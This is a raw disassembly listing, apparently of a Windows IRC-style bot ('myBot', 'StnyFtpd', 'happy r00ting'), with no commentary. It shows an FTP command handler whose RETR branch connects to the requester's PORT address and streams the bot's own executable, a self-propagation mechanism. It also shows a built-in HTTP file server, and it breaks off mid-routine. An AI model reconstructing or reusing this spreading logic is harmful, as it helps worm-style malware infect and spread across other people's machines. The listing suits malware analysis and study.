loc_40EC12:				; CODE XREF: sub_40E991+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC33
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40EC94
; ---------------------------------------------------------------------------


loc_40EC33:				; CODE XREF: sub_40E991+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC54
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40EC94
; ---------------------------------------------------------------------------


loc_40EC54:				; CODE XREF: sub_40E991+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC75
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40EC94
; ---------------------------------------------------------------------------


loc_40EC75:				; CODE XREF: sub_40E991+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_433E24
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC9A
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40EC94:				; CODE XREF: sub_40E991+27Cj
					; sub_40E991+2A0j ...
		push	edi
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_40EC9A:				; CODE XREF: sub_40E991+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECD6
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECD6
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40EF88
; ---------------------------------------------------------------------------


loc_40ECD6:				; CODE XREF: sub_40E991+31Fj
					; sub_40E991+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED0D
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED0D
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40EF88
; ---------------------------------------------------------------------------


loc_40ED0D:				; CODE XREF: sub_40E991+356j
					; sub_40E991+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED58
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40ED4B:				; CODE XREF: sub_40E991+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi
		jmp	loc_40EF8D
; ---------------------------------------------------------------------------


loc_40ED58:				; CODE XREF: sub_40E991+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED99
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40ED4B
; ---------------------------------------------------------------------------


loc_40ED99:				; CODE XREF: sub_40E991+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EE6A
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41C645
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41B779
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41B779
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 34h
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41B886
		push	10h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41BDC5
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41B886
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40EF88
; ---------------------------------------------------------------------------


loc_40EE6A:				; CODE XREF: sub_40E991+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF69
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40EFBE
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40EF5F
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40EEEC
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409A72
		add	esp, 14h


loc_40EEEC:				; CODE XREF: sub_40E991+536j
		call	sub_40F03B
		cmp	eax, 1
		jnz	loc_40EF8D
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40EF4A
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409A72
		add	esp, 14h


loc_40EF4A:				; CODE XREF: sub_40E991+594j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_4151AC
		inc	dword_4CE140
		pop	ecx
		jmp	short loc_40EF8D
; ---------------------------------------------------------------------------


loc_40EF5F:				; CODE XREF: sub_40E991+512j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40EF88
; ---------------------------------------------------------------------------


loc_40EF69:				; CODE XREF: sub_40E991+4EEj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF8D
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40EF88:				; CODE XREF: sub_40E991+340j
					; sub_40E991+377j ...
		push	[ebp+arg_0]


loc_40EF8B:				; CODE XREF: sub_40E991+304j
		call	ebx	; send


loc_40EF8D:				; CODE XREF: sub_40E991+3C2j
					; sub_40E991+563j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40EFA2:				; CODE XREF: sub_40E991+151j
					; sub_40E991+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40EAB0
		jmp	loc_40EA75
; ---------------------------------------------------------------------------


loc_40EFB4:				; CODE XREF: sub_40E991+10Fj
		push	1
		pop	eax


loc_40EFB7:				; CODE XREF: sub_40E991+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40E991	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFBE	proc near		; CODE XREF: sub_40E991+508p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4271F0	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_427220	; socket
		push	[ebp+arg_0]
		mov	dword_4CE388, eax
		mov	[ebp+var_10], 2
		call	dword_42720C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_427210	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4CE388
		call	dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CE388
		call	dword_42721C	; closesocket
		call	dword_4271EC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: sub_40EFBE+60j
		push	1
		pop	eax
		leave
		retn
sub_40EFBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F03B	proc near		; CODE XREF: sub_40E991:loc_40EEECp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: sub_40F03B+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4CE388
		call	dword_427224	; send
		push	1
		call	dword_427078	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: sub_40F03B+3Bj
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE388
		call	dword_42721C	; closesocket
		call	dword_4271EC	; WSACleanup
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: sub_40F03B+35j
		pop	esi
		leave
		retn
sub_40F03B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB634	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6B4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E57C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB660	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CB65C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6D0	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB61C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB520	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6C8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB64C	; recv
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB6CC	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42D0F4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433EE4 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6D0	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB6CC	; closesocket


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EBC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_427104	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_427100	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB684	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_5	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_4	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


